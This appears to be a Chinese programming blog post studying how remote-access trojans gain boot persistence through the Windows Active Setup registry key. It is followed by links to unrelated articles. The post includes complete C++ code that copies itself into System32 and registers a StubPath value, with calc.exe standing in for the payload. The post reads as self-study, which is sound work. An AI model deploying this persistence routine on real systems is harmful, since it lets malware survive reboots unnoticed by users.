【API】开机自启动- ActiveX启动
一 学习目标
这是一段远程控制木马开机启动的代码,主要使用了ActiveX方式启动。结合自己的理解重新整理了笔记。而作为编程新手入门的自己决定要开始梳理学习目的和订下学习的目标。从今天开始要坚持做到
1.逼自己去看英文版本的MSDN掌握windowsAPI的使用。
2.锻炼编程开发能力,快速开发出安全工具。
3.逆向自己编写的程序熟悉反汇编代码来提升自己的逆向能力,因为逆向和开发的能力是成正比的。
二 编程思路
- ActiveX启动原理
ActiveX启动是在HKEY_LOCAL_MACHINE下的Software\ Microsoft\Active Setup\Installed Components\中注册一条类似{36f8ec70-c29a-11d1-b5c7-0000f8051515}的子建,然后子键中新建StubPath的值项,内容为启动的文件名
编写的思路
要考虑到如果键值已经存在,那么就删除。如果键值没有,那么就创建
- 1、打开指定的注册表键 RegOpenKeyEx
第一步则先判断打开的注册表键动作是否成功,根据状态继续执行之后的步骤
- 1.1 未成功
1.2 获取系统文件夹 GetSystemDirectory
1.3 获取执行文件当前所在目录 GetModuleFileName
1.4 复制自身到系统文件夹中 CopyFile
1.5 新建注册表子键与值项 RegCreateKeyEx
1.6 新建注册表子建值项内容 RegSetValueEx
1.7 关闭注册表句柄 RegCloseKey
- 2、 成功
- 执行弹出计算器 WinExec
- 删除键值 RegDeleteKey
参考文章
[普及]程序自启动方式 - ActiveX
https://www.leavesongs.com/C/ActiveX-Auto-Start.html
编程实现木马的ActiveX启动和注入IE的启动方式
http://blog.csdn.net/chinafe/article/details/3947762
三 实现流程
编程环境
操作系统:windows 7
编译器版本:vs 2010
前置API函数
// 打开注册表
RegOpenKeyEx()
// 打开系统目录路径
GetSystemDirectory()
// 获取当前程序运行目录路径
GetModuleFileName()
// 复制文件
CopyFile()
// 创建新的注册表键
RegCreateKeyEx()
// 修改注册表键值
RegSetValueEx()
// 释放注册表键句柄
RegCloseKey()
// 执行程序函数
WinExec()
// 开启线程
_beginthreadex()
// 等待线程
WaitForSingleObject()
// 关闭线程
CloseHandle()
C++代码
vs2010,vs2015编译通过
#include "stdafx.h"
#include "临时存储Win32项目.h"
#include <process.h>
// 删除原先创建的键值
unsigned __stdcall SecondThreadFunc(void* pArguments)
{
//删除键值
RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}");
RegDeleteKey(HKEY_LOCAL_MACHINE, L"Software\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}");
//结束线程
_endthreadex(0);
return 0;
}
// 执行想要执行的程序
void MyCode() {
//运行计算器
WinExec("C:\\windows\\system32\\calc.exe", SW_SHOWDEFAULT);
// 开启线程,删除之前的注册表GUID
HANDLE hThread;
unsigned threadID;
hThread = (HANDLE)_beginthreadex(NULL, 0, &SecondThreadFunc, NULL, 0, &threadID);
// 等待线程结束
WaitForSingleObject(hThread, INFINITE);
// 关闭线程
CloseHandle(hThread);
}
//修改或创建字符串类型的键值
void CreateStringReg(HKEY hRoot, LPCWSTR szSubkey, LPCWSTR ValueName, LPCWSTR Data)
{
// 创建新的注册表键
HKEY hKey;
long lRet = RegCreateKeyEx(hRoot, szSubkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (ERROR_SUCCESS != lRet)
{
return;
}
//修改或创建注册表键值
lRet = RegSetValueEx(hKey, ValueName, 0, REG_SZ, (BYTE*)Data, wcslen(Data) * 2);
if (ERROR_SUCCESS != lRet)
{
return;
}
// 释放注册表键句柄
RegCloseKey(hKey);
}
int WINAPI WinMain(
HINSTANCE hInstance, // handle to current instance
HINSTANCE hPrevInstance, // handle to previous instance
LPSTR lpCmdLine, // command line
int nCmdShow // show state
)
{
HKEY hKey;
DWORD dwDpt = REG_OPENED_EXISTING_KEY;
// 打开注册表键值
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}",
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, &hKey);
if (lRet != ERROR_SUCCESS)
{
WCHAR SelfFile[MAX_PATH];
WCHAR SystemPath[MAX_PATH + 20];
//获取系统目录
GetSystemDirectory(SystemPath, sizeof(SystemPath));
//在系统目录与\\activexrun.exe连接
wcscat_s(SystemPath, L"\\activexrun.exe");
//获取当前进程路径
GetModuleFileName(NULL, SelfFile, MAX_PATH);
//ActiveXStart.exe复制到C:\windows\system32目录下
CopyFile(SelfFile, SystemPath, FALSE);
//写注册表
CreateStringReg(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{C9B4C1CD-B018-4511-B0A1-5476DBF70821}",
L"StubPath", SystemPath);
return 0;
}
//如果注册表键值存在就运行下面这个函数
MyCode();
return 0;
}
成功截图

【API】开机自启动- ActiveX启动的更多相关文章
- CentOS中在/etc/rc.local添加开机自启动项启动失败
应项目要求需要在开机的时候启动自己的Agent程序,想当然的直接就往/etc/rc.local当中添加启动命令,结果重启之后发现什么都没有发生....一开始还以为是Python路径的问题,结果改成绝对 ...
- 注册表 API 以及开机自启动
注册表是window系统中非常重要的一部分,今天在网上查了一些文章学习了下,觉得其中有一句话总结的很经典:注册表是用来存储信息的. 这句话虽然有点废,但是说的没错.当然,注册表中包含的内容非常多,远没 ...
- Linux Oracle服务启动&停止脚本与开机自启动
在CentOS 6.3下安装完Oracle 10g R2,重开机之后,你会发现Oracle没有自行启动,这是正常的,因为在Linux下安装Oracle的确不会自行启动,必须要自行设定相关参数,首先先介 ...
- nginx启动、开机自启动、重启、关闭
yum -y install nginx # yum info nginx Loaded plugins: fastestmirror Loading mirror speeds from cach ...
- Linux Oracle服务启动&停止脚本与开机自启动[转]
在CentOS 6.3下安装完Oracle 10g R2,重开机之后,你会发现Oracle没有自行启动,这是正常的,因为在Linux下安装Oracle的确不会自行启动,必须要自行设定相关参数,首先先介 ...
- 【转】Linux Oracle服务启动&停止脚本与开机自启动
在CentOS 6.3下安装完Oracle 10g R2,重开机之后,你会发现Oracle没有自行启动,这是正常的,因为在Linux下安装Oracle的确不会自行启动,必须要自行设置相关参数,首先先介 ...
- ubuntu16.04 程序开机自启动设置及启动优化
使用过程中,为了方便使用,有一些程序需要开机时自启动应用,下面将介绍一下ubuntu16.04下程序的开机自启动设置方法. 1 建立一个可执行程序的运行脚本如 keepalive.sh.内部写入要执 ...
- (转)Linux Oracle服务启动&停止脚本与开机自启动
在CentOS 6.3下安装完Oracle 10g R2,重开机之后,你会发现Oracle没有自行启动,这是正常的,因为在Linux下安装Oracle的确不会自行启动,必须要自行设定相关参数,首先先介 ...
- C# winform程序实现开机自启动,并且识别是开机启动还是双击启动
开机启动程序,在很多场合都会用到,尤其是那种在后台运行的程序. 效果图: 以上两幅图都用到了命令行启动程序,为了模拟开机启动或者其他程序调用此程序. 第一幅图:程序启动可以根据不同参数,执行不同的操作 ...
随机推荐
- ARC062 - F. Painting Graphs with AtCoDeer (Polya+点双联通分量)
似乎好久都没写博客了....赶快来补一篇 题意 给你一个 \(n\) 个点 , 没有重边和自环的图 . 有 \(m\) 条边 , 每条边可以染 \(1 \to k\) 中的一种颜色 . 对于任意一个简 ...
- 自学Zabbix3.10.2.1 linux如何配置使用sendEmail发送邮件
点击返回:自学Zabbix之路 点击返回:自学Zabbix4.0之路 点击返回:自学zabbix集锦 自学Zabbix3.10.2.1 linux如何配置使用sendEmail发送邮件 sendEma ...
- HGOI 20190217 题解
/* for me,开训第一天 /beacuse 文化课太差被抓去补文化课了... 看一眼题 : AK局? 但是,Wa on test #10 in problem C 290! (就差那么一咪咪) ...
- 调用Microsoft.Office.Interop.Word生成自定义Word文档
具体思路: 1.先制作Word模版,使用文本框+书签的方式来设计模版: 2.模版制作完之后,根据模版生成新文件,使用File.Copy方法,生成.doc格式新文件: 3.后台取得数据,参照网页渲染的方 ...
- linux动态库与静态库混合连接
1, 在应用程序需要连接外部库的情况下,linux默认对库的连接是使用动态库,在找不到动态库的情况下再选择静态库.使用方式为: gcc test.cpp -L. -ltestlib 如果当前目录有 ...
- 基于SpringMVC的文件(增删改查)上传、下载、更新、删除
一.项目背景 摘要:最近一直在忙着项目的事,3个项目过去了,发现有一个共同的业务,那就是附件的处理,附件包括各种文档,当然还有图片等特殊文件,由于时间的关系,每次都是匆匆忙忙的搞定上线,称这项目的空档 ...
- Luogu 2680 NOIP 2015 运输计划(树链剖分,LCA,树状数组,树的重心,二分,差分)
Luogu 2680 NOIP 2015 运输计划(树链剖分,LCA,树状数组,树的重心,二分,差分) Description L 国有 n 个星球,还有 n-1 条双向航道,每条航道建立在两个星球之 ...
- re正则模块(二十五)
一:什么是正则? 正则就是用一些具有特殊含义的符号组合到一起(称为正则表达式)来描述字符或者字符串的方法.或者说:正则就是用来描述一类事物的规则.(在Python中)它内嵌在Python中,并通过 r ...
- SNP (Single Nucleotide Polymorphism), SNV ( single nucleotide variants ) , Indel (insertion-deletion) 的区别
SNP (Single Nucleotide Polymorphism):强调在一个群体中具有一定频率的变异,一般为二态性.比如G→C SNV ( single nucleotide variants ...
- python备份网站,并删除指定日期文件
#!/usr/bin/python# Filename: backup_ver1.pyimport osimport timeimport datetime# 1. The files and dir ...